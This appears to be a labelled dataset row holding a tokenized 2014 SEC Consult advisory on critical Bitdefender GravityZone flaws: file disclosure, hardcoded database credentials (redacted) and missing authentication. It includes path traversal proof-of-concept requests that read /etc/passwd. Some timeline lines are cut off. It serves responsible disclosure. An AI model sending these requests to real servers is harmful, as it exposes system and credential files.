please judge the source code for vulnerabilities. | SEC Consult Vulnerability Lab Security Advisory < 20140716<hyphen>3 ><NEWLINE>=======================================================================<NEWLINE>title: Multiple critical vulnerabilities<NEWLINE>product: Bitdefender GravityZone<NEWLINE>vulnerable version: <5.1.11.432<NEWLINE>fixed version: >=5.1.11.432<NEWLINE>impact: critical<NEWLINE>homepage: http:<slash><slash>www.bitdefender.com<NEWLINE>found: 2014<hyphen>05<hyphen>22<NEWLINE>by: Stefan Viehböck<NEWLINE>SEC Consult Vulnerability Lab<NEWLINE>https:<slash><slash>www.sec<hyphen>consult.com<NEWLINE>=======================================================================<NEWLINE>Vendor description:<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Bitdefender GravityZone lets enterprises control and protect the heterogeneous<NEWLINE>environments of today. The solution combines highly optimized virtualization<NEWLINE>aware security with leading detection technologies and a fresh, but proven,<NEWLINE>architecture. It empowers administrators with features adapted to reduce the<NEWLINE>daily security hassle and eliminate the need for point solutions with unified<NEWLINE>protection across virtualized, physical, and mobile endpoints. Unlike other<NEWLINE>solutions that bolt<hyphen>on modules to an aging architecture, the GravityZone<NEWLINE>Control Center dashboard has been designed specifically to unify monitoring<NEWLINE>and security management in a single simple and accessible interface.<NEWLINE>Source: http:<slash><slash>download.bitdefender.com<slash>resources<slash>media<slash>materials<slash>business<slash>en<slash>datasheet<hyphen>gravityzone<hyphen>brief.pdf<NEWLINE>Business recommendation:<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Attackers are able to completely compromise the Bitdefender GravityZone<NEWLINE>solution as they can gain system and database level access.<NEWLINE>Furthermore attackers can manage all endpoints.<NEWLINE>The Bitdefender GravityZone can be used as an entry point into the target<NEWLINE>infrastructure (lateral movement, privilege escalation).<NEWLINE>It is highly recommended by SEC Consult not to use this software until a<NEWLINE>thorough security review has been performed by security professionals and all<NEWLINE>identified issues have been resolved.<NEWLINE>Vulnerability overview<slash>description:<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>1) Unauthenticated local file disclosure (Web Console, Update Server)<NEWLINE>Unauthenticated users can read arbitrary files from the filesystem with the<NEWLINE>privileges of the <double<underscore>quote>nginx<double<underscore>quote> operating system user. These files include<NEWLINE>configuration files containing sensitive information such as clear text<NEWLINE>passwords which can be used in further attacks.<NEWLINE>Separate vulnerabilities affecting both Web Console and Update Server were<NEWLINE>found.<NEWLINE>2) Insecure service configuration <slash> design issues<NEWLINE>The MongoDB database which is offered via the network by default (TCP ports<NEWLINE>27017, 28017) can be accessed using hardcoded credentials which can<single<underscore>quote>t be<NEWLINE>changed. The overall system design requires the database to be accessible via<NEWLINE>the network.<NEWLINE>All relevant GravityZone configuration data can be accessed and changed. This<NEWLINE>includes the user table.<NEWLINE>Excerpt from the documentation describing the TCP port 27017:<NEWLINE><double<underscore>quote>Default port used by the Communication Server and Control Center to access<NEWLINE>the Database.<double<underscore>quote><NEWLINE>3) Missing authentication<NEWLINE>Authentication is not required for certain scripts in the web UI. This<NEWLINE>allows unauthenticated attackers to execute administrative functions without<NEWLINE>prior authentication.<NEWLINE>Proof of concept:<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>1) Unauthenticated local file disclosure (Web Console, Update Server)<NEWLINE>Arbitrary files can be downloaded via a vulnerable script:<NEWLINE>https:<slash><slash><host><slash>webservice<slash>CORE<slash>downloadFullKitEpc<slash>a<slash>1?id=..<slash>..<slash>..<slash>..<slash>..<slash>etc<slash>passwd<NEWLINE>The Update Server is vulnerable to local file disclosure as well. Arbitrary<NEWLINE>files can be downloaded using the following HTTP request:<NEWLINE>GET <slash>%2e%2e<slash>%2e%2e<slash>%2e%2e<slash>%2e%2e<slash>%2e%2e<slash>%2e%2e<slash>%2e%2e<slash>%2e%2e<slash>%2e%2e<slash>etc<slash>passwd HTTP<slash>1.1<NEWLINE>Host: <host>:7074<NEWLINE>2) Insecure service configuration <slash> Design issues<NEWLINE>Attackers can connect to MongoDB on TCP ports 27017 and 28017 using the<NEWLINE>following hardcoded credentials:<NEWLINE>Username: <removed><NEWLINE>Password: <removed><NEWLINE>Detailed proof of concept exploits have been removed for this vulnerability.<NEWLINE>3) Missing authentication<NEWLINE>Authentication is not required for the following script:<NEWLINE><slash>webservice<slash>CORE<slash>downloadSignedCsr (Unauthenticated certificate upload)<NEWLINE>Vulnerable <slash> tested versions:<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>The vulnerabilities have been verified to exist in GravityZone 5.1.5.386,<NEWLINE>which was the most recent version at the time of discovery.<NEWLINE>Vendor contact timeline:<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>2014<hyphen>05<hyphen>26: Sending responsible disclosure policy and requesting encryption<NEWLINE>keys.<NEWLINE>2014<hyphen>05<hyphen>26: Vendor responds providing encryption keys.<NEWLINE>2014<hyphen>05<hyphen>26: Sending advisory and proof of concept exploit via encrypted<NEWLINE>channel.<NEWLINE>2014<hyphen>05<hyphen>26: Vendor confirms receipt.<NEWLINE>2014<hyphen>06<hyphen>04: Requesting status update.<NEWLINE>2014<hyphen>06<hyphen>14: Vendor provides status update. Update will be released <double<underscore>quote>End of<NEWLINE>June<double<underscore>quote>.<NEWLINE>2014<hyphen>06<hyphen>26: Vendor provides status update. Update for issue<NEWLINE>be released June 30. Update for issue<NEWLINE>end of July.<NEWLINE>2014<hyphen>06<hyphen>27: Requesting info about other affected products. Clarifying<NEWLINE>disclosure of issue<NEWLINE>2014<hyphen>07<hyphen>09: Vendor confirms that update for issue<NEWLINE>and KB article for issue<NEWLINE>2014<hyphen>07<hyphen>15: Requesting version numbers of affected products.<NEWLINE>2014<hyphen>07<hyphen>16: SEC Consult releases coordinated security advisory.<NEWLINE>Solution:<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Update to a more recent version of Bitdefender GravityZone <underscore>and<underscore><NEWLINE>implement mitigations for the issue<NEWLINE>More information can be found at:<NEWLINE>http:<slash><slash>www.bitdefender.com<slash>support<slash>how<hyphen>to<hyphen>configure<hyphen>iptables<hyphen>firewall<hyphen>rules<hyphen>on<hyphen>gravityzone<hyphen>for<hyphen>restricting<hyphen>outside<hyphen>access<hyphen>to<hyphen>mongodatabase<hyphen>1265.html<NEWLINE>Workaround:<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>No workaround available.<NEWLINE>Advisory URL:<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>https:<slash><slash>www.sec<hyphen>consult.com<slash>en<slash>Vulnerability<hyphen>Lab<slash>Advisories.htm<NEWLINE>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<NEWLINE>SEC Consult Vulnerability Lab<NEWLINE>SEC Consult<NEWLINE>Vienna <hyphen> Bangkok <hyphen> Frankfurt<slash>Main <hyphen> Montreal <hyphen> Singapore <hyphen> Vilnius<NEWLINE>Headquarter:<NEWLINE>Mooslackengasse 17, 1190 Vienna, Austria<NEWLINE>Phone: +43 1 8903043 0<NEWLINE>Fax: +43 1 8903043 15<NEWLINE>Mail: research at sec<hyphen>consult dot com<NEWLINE>Web: https:<slash><slash>www.sec<hyphen>consult.com<NEWLINE>Blog: http:<slash><slash>blog.sec<hyphen>consult.com<NEWLINE>Twitter: https:<slash><slash>twitter.com<slash>sec<underscore>consult<NEWLINE>EOF Stefan Viehböck <slash> @2014 | 1 |
README.md exists but content is empty.
- Downloads last month
- 20